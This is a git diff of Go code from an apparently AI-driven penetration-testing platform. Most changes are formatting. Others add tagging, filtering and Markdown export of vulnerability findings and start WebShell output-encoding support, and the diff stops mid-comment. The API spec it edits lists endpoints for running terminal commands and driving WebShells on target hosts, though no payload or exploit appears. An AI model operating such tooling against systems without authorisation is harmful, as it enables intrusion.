|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"api_key", "model"},
|
||||
"properties": map[string]interface{}{
|
||||
"provider": map[string]interface{}{"type": "string", "description": "LLM提供商(openai/claude)", "example": "openai"},
|
||||
@@ -4900,7 +4900,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"command"},
|
||||
"properties": map[string]interface{}{
|
||||
"command": map[string]interface{}{"type": "string", "description": "要执行的命令"},
|
||||
@@ -4943,7 +4943,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"command"},
|
||||
"properties": map[string]interface{}{
|
||||
"command": map[string]interface{}{"type": "string", "description": "要执行的命令"},
|
||||
@@ -5027,7 +5027,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"url"},
|
||||
"properties": map[string]interface{}{
|
||||
"url": map[string]interface{}{"type": "string", "description": "WebShell URL"},
|
||||
@@ -5231,7 +5231,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"url", "command"},
|
||||
"properties": map[string]interface{}{
|
||||
"url": map[string]interface{}{"type": "string", "description": "WebShell URL"},
|
||||
@@ -5277,7 +5277,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"url", "action", "path"},
|
||||
"properties": map[string]interface{}{
|
||||
"url": map[string]interface{}{"type": "string", "description": "WebShell URL"},
|
||||
@@ -5339,14 +5339,14 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"items": map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"relativePath": map[string]interface{}{"type": "string"},
|
||||
"absolutePath": map[string]interface{}{"type": "string"},
|
||||
"name": map[string]interface{}{"type": "string"},
|
||||
"size": map[string]interface{}{"type": "integer"},
|
||||
"modifiedUnix": map[string]interface{}{"type": "integer"},
|
||||
"date": map[string]interface{}{"type": "string"},
|
||||
"relativePath": map[string]interface{}{"type": "string"},
|
||||
"absolutePath": map[string]interface{}{"type": "string"},
|
||||
"name": map[string]interface{}{"type": "string"},
|
||||
"size": map[string]interface{}{"type": "integer"},
|
||||
"modifiedUnix": map[string]interface{}{"type": "integer"},
|
||||
"date": map[string]interface{}{"type": "string"},
|
||||
"conversationId": map[string]interface{}{"type": "string"},
|
||||
"subPath": map[string]interface{}{"type": "string"},
|
||||
"subPath": map[string]interface{}{"type": "string"},
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -5369,7 +5369,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"multipart/form-data": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"file"},
|
||||
"properties": map[string]interface{}{
|
||||
"file": map[string]interface{}{"type": "string", "format": "binary", "description": "上传的文件"},
|
||||
@@ -5410,7 +5410,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"path"},
|
||||
"properties": map[string]interface{}{
|
||||
"path": map[string]interface{}{"type": "string", "description": "文件相对路径"},
|
||||
@@ -5485,7 +5485,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"path", "content"},
|
||||
"properties": map[string]interface{}{
|
||||
"path": map[string]interface{}{"type": "string", "description": "文件相对路径"},
|
||||
@@ -5512,7 +5512,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"name"},
|
||||
"properties": map[string]interface{}{
|
||||
"parent": map[string]interface{}{"type": "string", "description": "父目录相对路径"},
|
||||
@@ -5552,7 +5552,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"path", "newName"},
|
||||
"properties": map[string]interface{}{
|
||||
"path": map[string]interface{}{"type": "string", "description": "当前文件相对路径"},
|
||||
@@ -5646,7 +5646,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"platform", "text"},
|
||||
"properties": map[string]interface{}{
|
||||
"platform": map[string]interface{}{"type": "string", "description": "平台类型", "enum": []string{"dingtalk", "lark", "wecom"}},
|
||||
@@ -5712,7 +5712,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"name"},
|
||||
"properties": map[string]interface{}{
|
||||
"filename": map[string]interface{}{"type": "string", "description": "文件名(可选,自动生成)"},
|
||||
@@ -5932,7 +5932,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"path"},
|
||||
"properties": map[string]interface{}{
|
||||
"path": map[string]interface{}{"type": "string", "description": "文件相对路径"},
|
||||
@@ -5974,7 +5974,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"content": map[string]interface{}{
|
||||
"application/json": map[string]interface{}{
|
||||
"schema": map[string]interface{}{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"required": []string{"ids"},
|
||||
"properties": map[string]interface{}{
|
||||
"ids": map[string]interface{}{
|
||||
@@ -6197,7 +6197,7 @@ func (h *OpenAPIHandler) GetConversationResults(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 获取漏洞列表
|
||||
vulnList, err := h.db.ListVulnerabilities(1000, 0, "", conversationID, "", "")
|
||||
vulnList, err := h.db.ListVulnerabilities(1000, 0, "", conversationID, "", "", "", "", "")
|
||||
if err != nil {
|
||||
h.logger.Warn("获取漏洞列表失败", zap.Error(err))
|
||||
vulnList = []*database.Vulnerability{}
|
||||
|
||||
@@ -26,7 +26,7 @@ var apiDocI18nSummaryToKey = map[string]string{
|
||||
"创建分组": "createGroup", "列出分组": "listGroups", "获取分组": "getGroup", "更新分组": "updateGroup",
|
||||
"删除分组": "deleteGroup", "获取分组中的对话": "getGroupConversations", "添加对话到分组": "addConversationToGroup",
|
||||
"从分组移除对话": "removeConversationFromGroup",
|
||||
"列出漏洞": "listVulnerabilities", "创建漏洞": "createVulnerability", "获取漏洞统计": "getVulnerabilityStats",
|
||||
"列出漏洞": "listVulnerabilities", "创建漏洞": "createVulnerability", "获取漏洞统计": "getVulnerabilityStats",
|
||||
"获取漏洞": "getVulnerability", "更新漏洞": "updateVulnerability", "删除漏洞": "deleteVulnerability",
|
||||
"列出角色": "listRoles", "创建角色": "createRole", "获取角色": "getRole", "更新角色": "updateRole", "删除角色": "deleteRole",
|
||||
"获取可用Skills列表": "getAvailableSkills", "列出Skills": "listSkills", "创建Skill": "createSkill",
|
||||
@@ -52,9 +52,9 @@ var apiDocI18nSummaryToKey = map[string]string{
|
||||
"重跑批量任务队列": "rerunBatchQueue", "修改队列元数据": "updateBatchQueueMetadata",
|
||||
"修改队列调度配置": "updateBatchQueueSchedule", "开关Cron自动调度": "setBatchQueueScheduleEnabled",
|
||||
"获取所有分组映射": "getAllGroupMappings",
|
||||
"FOFA搜索": "fofaSearch", "自然语言解析为FOFA语法": "fofaParse",
|
||||
"FOFA搜索": "fofaSearch", "自然语言解析为FOFA语法": "fofaParse",
|
||||
"测试OpenAI API连接": "testOpenAI",
|
||||
"执行终端命令": "terminalRun", "流式执行终端命令": "terminalRunStream", "WebSocket终端": "terminalWS",
|
||||
"执行终端命令": "terminalRun", "流式执行终端命令": "terminalRunStream", "WebSocket终端": "terminalWS",
|
||||
"列出WebShell连接": "listWebshellConnections", "创建WebShell连接": "createWebshellConnection",
|
||||
"更新WebShell连接": "updateWebshellConnection", "删除WebShell连接": "deleteWebshellConnection",
|
||||
"获取连接状态": "getWebshellConnectionState", "保存连接状态": "saveWebshellConnectionState",
|
||||
@@ -69,7 +69,7 @@ var apiDocI18nSummaryToKey = map[string]string{
|
||||
"获取Markdown代理详情": "getMarkdownAgent", "更新Markdown代理": "updateMarkdownAgent", "删除Markdown代理": "deleteMarkdownAgent",
|
||||
"列出技能包文件": "listSkillPackageFiles", "获取技能包文件内容": "getSkillPackageFile", "写入技能包文件": "putSkillPackageFile",
|
||||
"批量获取工具名称": "batchGetToolNames",
|
||||
"获取知识库统计": "getKnowledgeStats",
|
||||
"获取知识库统计": "getKnowledgeStats",
|
||||
}
|
||||
|
||||
var apiDocI18nResponseDescToKey = map[string]string{
|
||||
@@ -78,7 +78,7 @@ var apiDocI18nResponseDescToKey = map[string]string{
|
||||
"对话不存在或结果不存在": "conversationOrResultNotFound", "请求参数错误(如task为空)": "badRequestTaskEmpty",
|
||||
"请求参数错误或分组名称已存在": "badRequestGroupNameExists", "分组不存在": "groupNotFound",
|
||||
"请求参数错误(如配置格式不正确、缺少必需字段等)": "badRequestConfig",
|
||||
"请求参数错误(如query为空)": "badRequestQueryEmpty", "方法不允许(仅支持POST请求)": "methodNotAllowed",
|
||||
"请求参数错误(如query为空)": "badRequestQueryEmpty", "方法不允许(仅支持POST请求)": "methodNotAllowed",
|
||||
"登录成功": "loginSuccess", "密码错误": "invalidPassword", "登出成功": "logoutSuccess",
|
||||
"密码修改成功": "passwordChanged", "Token有效": "tokenValid", "Token无效或已过期": "tokenInvalid",
|
||||
"对话创建成功": "conversationCreated", "服务器内部错误": "internalError", "更新成功": "updateSuccess",
|
||||
@@ -89,7 +89,7 @@ var apiDocI18nResponseDescToKey = map[string]string{
|
||||
"消息发送成功,返回AI回复": "messageSent", "流式响应(Server-Sent Events)": "streamResponse",
|
||||
// 新增缺失端点响应
|
||||
"参数错误或删除失败": "badRequestOrDeleteFailed",
|
||||
"参数错误": "paramError", "仅已完成或已取消的队列可以重跑": "onlyCompletedOrCancelledCanRerun",
|
||||
"参数错误": "paramError", "仅已完成或已取消的队列可以重跑": "onlyCompletedOrCancelledCanRerun",
|
||||
"参数错误或队列正在运行中": "badRequestOrQueueRunning", "设置成功": "setSuccess",
|
||||
"搜索成功": "searchSuccess", "解析成功": "parseSuccess", "测试结果": "testResult",
|
||||
"执行完成": "executionDone", "SSE事件流": "sseEventStream", "WebSocket连接已建立": "wsEstablished",
|
||||
|
||||
+14
-14
@@ -28,20 +28,20 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
robotCmdHelp = "帮助"
|
||||
robotCmdList = "列表"
|
||||
robotCmdListAlt = "对话列表"
|
||||
robotCmdSwitch = "切换"
|
||||
robotCmdContinue = "继续"
|
||||
robotCmdNew = "新对话"
|
||||
robotCmdClear = "清空"
|
||||
robotCmdCurrent = "当前"
|
||||
robotCmdStop = "停止"
|
||||
robotCmdRoles = "角色"
|
||||
robotCmdRolesList = "角色列表"
|
||||
robotCmdSwitchRole = "切换角色"
|
||||
robotCmdDelete = "删除"
|
||||
robotCmdVersion = "版本"
|
||||
robotCmdHelp = "帮助"
|
||||
robotCmdList = "列表"
|
||||
robotCmdListAlt = "对话列表"
|
||||
robotCmdSwitch = "切换"
|
||||
robotCmdContinue = "继续"
|
||||
robotCmdNew = "新对话"
|
||||
robotCmdClear = "清空"
|
||||
robotCmdCurrent = "当前"
|
||||
robotCmdStop = "停止"
|
||||
robotCmdRoles = "角色"
|
||||
robotCmdRolesList = "角色列表"
|
||||
robotCmdSwitchRole = "切换角色"
|
||||
robotCmdDelete = "删除"
|
||||
robotCmdVersion = "版本"
|
||||
)
|
||||
|
||||
// RobotHandler 企业微信/钉钉/飞书等机器人回调处理
|
||||
|
||||
+13
-13
@@ -65,19 +65,19 @@ func (h *SkillsHandler) GetSkills(c *gin.Context) {
|
||||
allSkillsInfo := make([]map[string]interface{}, 0, len(allSummaries))
|
||||
for _, s := range allSummaries {
|
||||
skillInfo := map[string]interface{}{
|
||||
"id": s.ID,
|
||||
"name": s.Name,
|
||||
"dir_name": s.DirName,
|
||||
"description": s.Description,
|
||||
"version": s.Version,
|
||||
"path": s.Path,
|
||||
"tags": s.Tags,
|
||||
"triggers": s.Triggers,
|
||||
"script_count": s.ScriptCount,
|
||||
"file_count": s.FileCount,
|
||||
"progressive": s.Progressive,
|
||||
"file_size": s.FileSize,
|
||||
"mod_time": s.ModTime,
|
||||
"id": s.ID,
|
||||
"name": s.Name,
|
||||
"dir_name": s.DirName,
|
||||
"description": s.Description,
|
||||
"version": s.Version,
|
||||
"path": s.Path,
|
||||
"tags": s.Tags,
|
||||
"triggers": s.Triggers,
|
||||
"script_count": s.ScriptCount,
|
||||
"file_count": s.FileCount,
|
||||
"progressive": s.Progressive,
|
||||
"file_size": s.FileSize,
|
||||
"mod_time": s.ModTime,
|
||||
}
|
||||
allSkillsInfo = append(allSkillsInfo, skillInfo)
|
||||
}
|
||||
|
||||
@@ -109,4 +109,3 @@ func (h *TerminalHandler) RunCommandWS(c *gin.Context) {
|
||||
|
||||
<-doneChan
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
"github.com/gin-gonic/gin"
|
||||
@@ -25,7 +28,9 @@ func NewVulnerabilityHandler(db *database.DB, logger *zap.Logger) *Vulnerability
|
||||
|
||||
// CreateVulnerabilityRequest 创建漏洞请求
|
||||
type CreateVulnerabilityRequest struct {
|
||||
ConversationID string `json:"conversation_id" binding:"required"`
|
||||
ConversationID string `json:"conversation_id" binding:"required"`
|
||||
ConversationTag string `json:"conversation_tag"`
|
||||
TaskTag string `json:"task_tag"`
|
||||
Title string `json:"title" binding:"required"`
|
||||
Description string `json:"description"`
|
||||
Severity string `json:"severity" binding:"required"`
|
||||
@@ -46,16 +51,18 @@ func (h *VulnerabilityHandler) CreateVulnerability(c *gin.Context) {
|
||||
}
|
||||
|
||||
vuln := &database.Vulnerability{
|
||||
ConversationID: req.ConversationID,
|
||||
Title: req.Title,
|
||||
Description: req.Description,
|
||||
Severity: req.Severity,
|
||||
Status: req.Status,
|
||||
Type: req.Type,
|
||||
Target: req.Target,
|
||||
Proof: req.Proof,
|
||||
Impact: req.Impact,
|
||||
Recommendation: req.Recommendation,
|
||||
ConversationID: req.ConversationID,
|
||||
ConversationTag: req.ConversationTag,
|
||||
TaskTag: req.TaskTag,
|
||||
Title: req.Title,
|
||||
Description: req.Description,
|
||||
Severity: req.Severity,
|
||||
Status: req.Status,
|
||||
Type: req.Type,
|
||||
Target: req.Target,
|
||||
Proof: req.Proof,
|
||||
Impact: req.Impact,
|
||||
Recommendation: req.Recommendation,
|
||||
}
|
||||
|
||||
created, err := h.db.CreateVulnerability(vuln)
|
||||
@@ -100,6 +107,9 @@ func (h *VulnerabilityHandler) ListVulnerabilities(c *gin.Context) {
|
||||
conversationID := c.Query("conversation_id")
|
||||
severity := c.Query("severity")
|
||||
status := c.Query("status")
|
||||
taskID := c.Query("task_id")
|
||||
conversationTag := c.Query("conversation_tag")
|
||||
taskTag := c.Query("task_tag")
|
||||
|
||||
limit, _ := strconv.Atoi(limitStr)
|
||||
offset, _ := strconv.Atoi(offsetStr)
|
||||
@@ -121,7 +131,7 @@ func (h *VulnerabilityHandler) ListVulnerabilities(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 获取总数
|
||||
total, err := h.db.CountVulnerabilities(id, conversationID, severity, status)
|
||||
total, err := h.db.CountVulnerabilities(id, conversationID, severity, status, taskID, conversationTag, taskTag)
|
||||
if err != nil {
|
||||
h.logger.Error("获取漏洞总数失败", zap.Error(err))
|
||||
// 继续执行,使用0作为总数
|
||||
@@ -129,7 +139,7 @@ func (h *VulnerabilityHandler) ListVulnerabilities(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 获取漏洞列表
|
||||
vulnerabilities, err := h.db.ListVulnerabilities(limit, offset, id, conversationID, severity, status)
|
||||
vulnerabilities, err := h.db.ListVulnerabilities(limit, offset, id, conversationID, severity, status, taskID, conversationTag, taskTag)
|
||||
if err != nil {
|
||||
h.logger.Error("获取漏洞列表失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
@@ -160,15 +170,17 @@ func (h *VulnerabilityHandler) ListVulnerabilities(c *gin.Context) {
|
||||
|
||||
// UpdateVulnerabilityRequest 更新漏洞请求
|
||||
type UpdateVulnerabilityRequest struct {
|
||||
Title string `json:"title"`
|
||||
Description string `json:"description"`
|
||||
Severity string `json:"severity"`
|
||||
Status string `json:"status"`
|
||||
Type string `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Proof string `json:"proof"`
|
||||
Impact string `json:"impact"`
|
||||
Recommendation string `json:"recommendation"`
|
||||
ConversationTag string `json:"conversation_tag"`
|
||||
TaskTag string `json:"task_tag"`
|
||||
Title string `json:"title"`
|
||||
Description string `json:"description"`
|
||||
Severity string `json:"severity"`
|
||||
Status string `json:"status"`
|
||||
Type string `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Proof string `json:"proof"`
|
||||
Impact string `json:"impact"`
|
||||
Recommendation string `json:"recommendation"`
|
||||
}
|
||||
|
||||
// UpdateVulnerability 更新漏洞
|
||||
@@ -189,6 +201,12 @@ func (h *VulnerabilityHandler) UpdateVulnerability(c *gin.Context) {
|
||||
}
|
||||
|
||||
// 更新字段
|
||||
if req.ConversationTag != "" {
|
||||
existing.ConversationTag = req.ConversationTag
|
||||
}
|
||||
if req.TaskTag != "" {
|
||||
existing.TaskTag = req.TaskTag
|
||||
}
|
||||
if req.Title != "" {
|
||||
existing.Title = req.Title
|
||||
}
|
||||
@@ -250,8 +268,9 @@ func (h *VulnerabilityHandler) DeleteVulnerability(c *gin.Context) {
|
||||
// GetVulnerabilityStats 获取漏洞统计
|
||||
func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
|
||||
conversationID := c.Query("conversation_id")
|
||||
taskID := c.Query("task_id")
|
||||
|
||||
stats, err := h.db.GetVulnerabilityStats(conversationID)
|
||||
stats, err := h.db.GetVulnerabilityStats(conversationID, taskID)
|
||||
if err != nil {
|
||||
h.logger.Error("获取漏洞统计失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
@@ -261,3 +280,183 @@ func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
|
||||
c.JSON(http.StatusOK, stats)
|
||||
}
|
||||
|
||||
// GetVulnerabilityFilterOptions 获取漏洞筛选建议项
|
||||
func (h *VulnerabilityHandler) GetVulnerabilityFilterOptions(c *gin.Context) {
|
||||
options, err := h.db.GetVulnerabilityFilterOptions()
|
||||
if err != nil {
|
||||
h.logger.Error("获取漏洞筛选建议失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, options)
|
||||
}
|
||||
|
||||
// ExportVulnerabilities 导出漏洞(支持按对话/任务分组,汇总或拆分)
|
||||
func (h *VulnerabilityHandler) ExportVulnerabilities(c *gin.Context) {
|
||||
groupBy := c.DefaultQuery("group_by", "conversation")
|
||||
mode := c.DefaultQuery("mode", "summary")
|
||||
if groupBy != "conversation" && groupBy != "task" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "group_by 仅支持 conversation 或 task"})
|
||||
return
|
||||
}
|
||||
if mode != "summary" && mode != "split" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "mode 仅支持 summary 或 split"})
|
||||
return
|
||||
}
|
||||
|
||||
id := c.Query("id")
|
||||
conversationID := c.Query("conversation_id")
|
||||
severity := c.Query("severity")
|
||||
status := c.Query("status")
|
||||
taskID := c.Query("task_id")
|
||||
conversationTag := c.Query("conversation_tag")
|
||||
taskTag := c.Query("task_tag")
|
||||
|
||||
total, err := h.db.CountVulnerabilities(id, conversationID, severity, status, taskID, conversationTag, taskTag)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if total == 0 {
|
||||
c.JSON(http.StatusOK, gin.H{"mode": mode, "group_by": groupBy, "total": 0, "files": []any{}})
|
||||
return
|
||||
}
|
||||
|
||||
items, err := h.db.ListVulnerabilities(total, 0, id, conversationID, severity, status, taskID, conversationTag, taskTag)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
type exportFile struct {
|
||||
FileName string `json:"filename"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
grouped := map[string][]*database.Vulnerability{}
|
||||
for _, v := range items {
|
||||
key := v.ConversationID
|
||||
if groupBy == "conversation" {
|
||||
if strings.TrimSpace(v.ConversationTag) != "" {
|
||||
key = strings.TrimSpace(v.ConversationTag)
|
||||
}
|
||||
} else {
|
||||
key = firstNonEmpty(v.TaskTag, v.TaskID, v.TaskQueueID, "unassigned-task")
|
||||
}
|
||||
grouped[key] = append(grouped[key], v)
|
||||
}
|
||||
|
||||
files := make([]exportFile, 0)
|
||||
nowStr := time.Now().Format("20060102-150405")
|
||||
if mode == "summary" {
|
||||
var b strings.Builder
|
||||
b.WriteString("# 漏洞批量导出报告\n\n")
|
||||
b.WriteString(fmt.Sprintf("- 导出时间: %s\n", time.Now().Format("2006-01-02 15:04:05")))
|
||||
b.WriteString(fmt.Sprintf("- 分组维度: %s\n", groupBy))
|
||||
b.WriteString(fmt.Sprintf("- 漏洞总数: %d\n", len(items)))
|
||||
b.WriteString(fmt.Sprintf("- 分组数: %d\n\n", len(grouped)))
|
||||
for group, list := range grouped {
|
||||
b.WriteString(fmt.Sprintf("## %s (%d)\n\n", group, len(list)))
|
||||
for _, v := range list {
|
||||
appendVulnerabilityMarkdown(&b, v, "###")
|
||||
}
|
||||
}
|
||||
files = append(files, exportFile{
|
||||
FileName: fmt.Sprintf("vulnerability-report-%s-%s.md", groupBy, nowStr),
|
||||
Content: b.String(),
|
||||
})
|
||||
} else {
|
||||
for group, list := range grouped {
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("# 漏洞报告 - %s\n\n", group))
|
||||
b.WriteString(fmt.Sprintf("- 导出时间: %s\n", time.Now().Format("2006-01-02 15:04:05")))
|
||||
b.WriteString(fmt.Sprintf("- 漏洞数量: %d\n\n", len(list)))
|
||||
for _, v := range list {
|
||||
appendVulnerabilityMarkdown(&b, v, "##")
|
||||
}
|
||||
files = append(files, exportFile{
|
||||
FileName: fmt.Sprintf("vulnerability-%s-%s.md", sanitizeExportName(group), nowStr),
|
||||
Content: b.String(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"mode": mode,
|
||||
"group_by": groupBy,
|
||||
"total": len(items),
|
||||
"files": files,
|
||||
})
|
||||
}
|
||||
|
||||
// appendVulnerabilityMarkdown 单条漏洞的 Markdown 片段(与单文件下载字段对齐,缺省字段不写)
|
||||
func appendVulnerabilityMarkdown(b *strings.Builder, v *database.Vulnerability, titleHeading string) {
|
||||
b.WriteString(fmt.Sprintf("%s %s\n\n", titleHeading, v.Title))
|
||||
b.WriteString(fmt.Sprintf("- 漏洞ID: `%s`\n", v.ID))
|
||||
b.WriteString(fmt.Sprintf("- 严重程度: %s\n", v.Severity))
|
||||
b.WriteString(fmt.Sprintf("- 状态: %s\n", v.Status))
|
||||
if v.Type != "" {
|
||||
b.WriteString(fmt.Sprintf("- 类型: %s\n", v.Type))
|
||||
}
|
||||
if v.Target != "" {
|
||||
b.WriteString(fmt.Sprintf("- 目标: %s\n", v.Target))
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("- 对话ID: `%s`\n", v.ConversationID))
|
||||
if v.ConversationTag != "" {
|
||||
b.WriteString(fmt.Sprintf("- 对话标签: %s\n", v.ConversationTag))
|
||||
}
|
||||
if v.TaskTag != "" {
|
||||
b.WriteString(fmt.Sprintf("- 任务标签: %s\n", v.TaskTag))
|
||||
}
|
||||
if v.TaskID != "" {
|
||||
b.WriteString(fmt.Sprintf("- 任务ID: `%s`\n", v.TaskID))
|
||||
}
|
||||
if v.TaskQueueID != "" {
|
||||
b.WriteString(fmt.Sprintf("- 任务队列ID: `%s`\n", v.TaskQueueID))
|
||||
}
|
||||
if !v.CreatedAt.IsZero() {
|
||||
b.WriteString(fmt.Sprintf("- 创建时间: %s\n", v.CreatedAt.Format("2006-01-02 15:04:05")))
|
||||
}
|
||||
if !v.UpdatedAt.IsZero() {
|
||||
b.WriteString(fmt.Sprintf("- 更新时间: %s\n", v.UpdatedAt.Format("2006-01-02 15:04:05")))
|
||||
}
|
||||
if v.Description != "" {
|
||||
b.WriteString("\n#### 描述\n\n")
|
||||
b.WriteString(v.Description)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if v.Proof != "" {
|
||||
b.WriteString("\n#### 证明(POC)\n\n```\n")
|
||||
b.WriteString(v.Proof)
|
||||
b.WriteString("\n```\n")
|
||||
}
|
||||
if v.Impact != "" {
|
||||
b.WriteString("\n#### 影响\n\n")
|
||||
b.WriteString(v.Impact)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if v.Recommendation != "" {
|
||||
b.WriteString("\n#### 修复建议\n\n")
|
||||
b.WriteString(v.Recommendation)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
b.WriteString("\n")
|
||||
}
|
||||
|
||||
func firstNonEmpty(values ...string) string {
|
||||
for _, v := range values {
|
||||
trimmed := strings.TrimSpace(v)
|
||||
if trimmed != "" {
|
||||
return trimmed
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func sanitizeExportName(raw string) string {
|
||||
name := strings.TrimSpace(raw)
|
||||
if name == "" {
|
||||
return "unknown"
|
||||
}
|
||||
replacer := strings.NewReplacer("/", "-", "\\", "-", ":", "-", "*", "-", "?", "-", "\"", "-", "<", "-", ">", "-", "|", "-")
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
|
||||
+369
-138
@@ -3,20 +3,302 @@ package handler
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// webshellSupportedEncodings 允许的 WebShell 响应编码取值(小写,含空串代表 auto)
|
||||
// 仅暴露目前最常见的几种,其他需求可后续扩展(如 Big5、Shift_JIS 等)。
|
||||
var webshellSupportedEncodings = map[string]struct{}{
|
||||
"": {}, // 未配置,按 auto 处理
|
||||
"auto": {},
|
||||
"utf-8": {},
|
||||
"utf8": {},
|
||||
"gbk": {},
|
||||
"gb18030": {},
|
||||
}
|
||||
|
||||
// normalizeWebshellEncoding 归一化编码标识:统一为小写,未知值回退为 auto,供持久化使用
|
||||
func normalizeWebshellEncoding(enc string) string {
|
||||
enc = strings.ToLower(strings.TrimSpace(enc))
|
||||
if _, ok := webshellSupportedEncodings[enc]; !ok {
|
||||
return "auto"
|
||||
}
|
||||
if enc == "" {
|
||||
return "auto"
|
||||
}
|
||||
if enc == "utf8" {
|
||||
return "utf-8"
|
||||
}
|
||||
return enc
|
||||
}
|
||||
|
||||
// decodeWebshellOutput 把 WebShell 返回的字节按指定编码转换为合法 UTF-8 字符串。
|
||||
// 约定:
|
||||
// - "" / "auto":若已是合法 UTF-8 原样返回,否则依次尝试 GB18030(GBK 超集)解码。
|
||||
